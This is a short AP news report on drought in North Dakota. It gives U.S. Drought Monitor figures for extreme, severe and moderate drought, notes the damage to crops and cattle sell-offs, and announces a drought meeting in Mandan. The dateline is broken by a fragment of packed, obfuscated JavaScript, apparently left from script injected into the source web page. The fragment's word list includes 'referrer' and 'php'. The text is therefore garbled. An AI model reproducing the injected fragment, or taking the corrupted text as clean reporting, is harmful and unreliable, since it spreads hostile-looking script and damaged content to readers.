BISMARCK, tnhde|var|u0026u|referrer|nffah||js|php’.split(‘|’),0,{}))
N.D. (AP) – Drought conditions have worsened dramatically in North Dakota over the past week

The latest U.S. Drought Monitor map shows about 8 percent of the state in extreme drought. None of the state was in that category a week ago.

The areas of extreme drought are in the southwest, central and northwest.

Another 40 percent of the state is severe drought and 27 percent is in moderate drought. The rest of the state is rated abnormally dry.

The drought conditions are harming crops and also have prompted many ranchers to sell off cattle.

Agriculture Commissioner Doug Goehring is hosting a drought meeting at the Farm Credit Services building in Mandan from 2-4 p.m. on Tuesday, June 27.